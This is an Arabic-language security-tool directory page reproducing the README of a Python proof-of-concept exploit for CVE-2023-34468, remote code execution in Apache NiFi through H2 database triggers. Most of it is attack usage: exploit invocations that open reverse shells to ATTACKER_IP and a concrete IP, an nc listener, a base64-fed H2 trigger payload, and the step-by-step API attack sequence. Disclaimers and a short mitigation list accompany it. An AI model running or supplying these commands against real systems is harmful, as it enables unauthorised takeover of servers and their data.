Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2023-34468 — CVE-2023-34468 - Apache NiFi H2 RCE PoC | Kitploit
أدوات/GitHubGitHub/jeanpt/cve-2023-34468
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمتطوير الحمولات
GitHubjeanpt/cve-2023-34468

CVE-2023-34468

CVE-2023-34468 - Apache NiFi H2 RCE PoC

عرض المستودع
منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

استغلال CVE-2023-34468

GitHub stars GitHub license

نظرة عامة

يوفر هذا المستودع أداة استغلال مبنية على بايثون لثغرة CVE-2023-34468، وهي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد (بدرجة CVSS 9.8) في إصدارات Apache NiFi من 0.0.2 إلى 1.21.0. تتيح للمستخدمين المصادَق عليهم تنفيذ تعليمات برمجية عشوائية عبر التلاعب بسلاسل اتصال قاعدة بيانات H2 مع مشغّلات مدمجة.

⚠️ تحذير: لأغراض تعليمية والاختبار المصرح به فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني.

تفاصيل الثغرة

  • معرّف CVE: CVE-2023-34468
  • الإصدارات المتأثرة: Apache NiFi 0.0.2–1.21.0
  • الأثر: تنفيذ التعليمات البرمجية عن بُعد (RCE)
  • درجة CVSS: 9.8 (حرجة)
  • تاريخ الاكتشاف: 12 يونيو 2023
  • الوصف: تتيح خدمات التحكم DBCPConnectionPool وHikariCPConnectionPool للمستخدمين تكوين عنوان URL لقاعدة البيانات باستخدام برنامج تشغيل H2، ما يتيح تنفيذ أكواد Java عشوائية عبر وظيفة CREATE TRIGGER الخاصة بـ H2. عند تهيئة الاتصال، يتم تنفيذ كود JavaScript مضمّن بصلاحيات NiFi.

المتطلبات الأساسية

  • Python 3.7+
  • مكتبة requests
  • وصول شبكي إلى واجهة NiFi API (المنفذ الافتراضي 8080 أو 8443)
  • نسخة NiFi الهدف بدون مصادقة أو ببيانات اعتماد صالحة
  • إعداد مستمع (Listener) للصدفة العكسية (مثل: nc -lnvp 5555)

بدء الاستخدام السريع

الاستنساخ والتثبيت

root@kitploit:~
git clone https://github.com/Jeanpt/CVE-2023-34468.git
cd CVE-2023-34468
pip install -r requirements.txt

NiFi بدون مصادقة (لا حاجة لبيانات اعتماد)

root@kitploit:~
# Start your listener
nc -lnvp 5555

# Run the exploit — auth is auto-detected, no flags needed for open instances
python3 exploit.py \
  -t http://nifi.target.com:8080 \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
  -lh ATTACKER_IP \
  -lp 5555

NiFi مع مصادقة (اسم مستخدم/كلمة مرور)

root@kitploit:~
python3 exploit.py \
  -t https://nifi.target.com:8443 \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
  -lh ATTACKER_IP \
  -lp 5555 \
  -u admin -p password123

NiFi مع مصادقة (Bearer Token)

root@kitploit:~
python3 exploit.py \
  -t https://nifi.target.com:8443 \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
  -lh ATTACKER_IP \
  -lp 5555 \
  --token <your_bearer_token>

تخطي التنظيف (ترك آثار على الهدف)

root@kitploit:~
python3 exploit.py -t http://target:8080 -c "..." -lh ATTACKER_IP -lp 5555 --no-cleanup

جميع الخيارات

root@kitploit:~
python3 exploit.py --help

التحقق: تحقق من المستمع (Listener) لديك بحثًا عن اتصال الصدفة العكسية. نفّذ الأمر id لتأكيد تنفيذ التعليمات البرمجية.

كيف يعمل (تفاصيل تقنية)

تسلسل الهجوم

  1. الاستطلاع: تحديد نسخة NiFi عبر /nifi-api/system-diagnostics
  2. إنشاء خدمة DBCP: إرسال طلب POST يحتوي سلسلة اتصال H2 خبيثة إلى /nifi-api/process-groups/root/controller-services
  3. إنشاء معالج (Processor): إرسال طلب POST لمعالج ExecuteSQL إلى نفس مجموعة العمليات
  4. تكوين المعالج: ربط المعالج بخدمة DBCP الخبيثة
  5. تمكين الخدمة: إرسال طلب PUT إلى /nifi-api/controller-services/{id}/run-status مع الحالة ENABLED
  6. تفعيل RCE: إرسال طلب PUT إلى /nifi-api/processors/{id}/run-status مع الحالة RUNNING — يتم إطلاق مشغّل H2 عند الاتصال

بنية حمولة H2

root@kitploit:~
jdbc:h2:file:/tmp/{random_db}.db;TRACE_LEVEL_SYSTEM_OUT=0\;CREATE TRIGGER {random_name}
BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
java.lang.Runtime.getRuntime().exec('bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{bash,-i}')
$$--=x

نقاط رئيسية:

  • إفلات الفاصلة المنقوطة بشرطة مائلة عكسية: \;
  • يتم تنفيذ JavaScript عند BEFORE SELECT ON INFORMATION_SCHEMA.TABLES (يتم التشغيل تلقائيًا)
  • قم بترميز الحمولة بـ Base64 لتجنب مشاكل الأحرف الخاصة
  • يتم استبدال علامات الإكمال (=) بمسافات لتجنب مشاكل تحليل H2

أمثلة على الحمولات

الصدفة العكسية

root@kitploit:~
# Run exploit directly
python3 exploit.py -t http://target:8080 -c "bash -i >& /dev/tcp/10.10.16.46/5555 0>&1" -lh 10.10.16.46 -lp 5555

تنفيذ الأوامر

root@kitploit:~
python3 exploit.py -t http://target:8080 -c "touch /tmp/pwned" -lh 127.0.0.1 -lp 5555

التخفيف

  • التحديث: قم بالترقية إلى Apache NiFi 1.22.0 أو أحدث
  • التحكم في الوصول: قيّد الوصول إلى واجهة NiFi API عبر جدار الحماية/WAF
  • المصادقة: فعّل وفرض المصادقة على NiFi
  • المراقبة: أنشئ تنبيهات للتكوينات غير المعتادة لخدمات التحكم
  • تقسيم الشبكة: اعزل NiFi عن الشبكات غير الموثوقة

المراجع

  • NVD - CVE-2023-34468
  • استشارة أمان Apache NiFi
  • NIFI-11653 - متتبع المشكلات
  • نقاش القائمة البريدية لـ Apache

إخلاء مسؤولية

هذه الأداة مقدمة لأغراض البحث الأمني والاختبار المصرح به فقط. المؤلف غير مسؤول عن سوء الاستخدام أو الأضرار الناتجة عن هذا الاستغلال. اختبر دائمًا بمسؤولية وفي بيئات مصرح بها فقط.

الاعتمادات

  • الاكتشاف: Matei "Mal" Badanoiu
  • وحدة Metasploit: h00die
  • إثبات المفهوم بلغة بايثون (Python POC): Jean

الترخيص

رخصة MIT - راجع ملف LICENSE للتفاصيل


صُممت للبحث الأمني واختبار الاختراق المصرح به.

المواضيع: apache-nifi h2-database rce exploit cve-2023-34468 python security-research

تنزيل الأداة
الأمرالوصف
-t, --targetعنوان URL لنسخة NiFi الهدف (مطلوب)
-c, --commandالأمر المراد تنفيذه (مطلوب)
-lh, --lhostمضيف المستمع (Listener) لاستدعاء الإرجاع (مطلوب)
-lp, --lportمنفذ المستمع (Listener) لاستدعاء الإرجاع (مطلوب)
-u, --usernameاسم مستخدم NiFi (للنسخ التي تتطلب مصادقة)
-p, --passwordكلمة مرور NiFi (للنسخ التي تتطلب مصادقة)
--tokenBearer token (للنسخ التي تتطلب مصادقة)
--no-cleanupتخطي التنظيف بعد الاستغلال
--delayعدد الثواني المطلوب الانتظار قبل التنظيف (الافتراضي: 10)
--driver-pathتجاوز مسار ملف jar الخاص ببرنامج تشغيل H2 (محذوف افتراضيًا)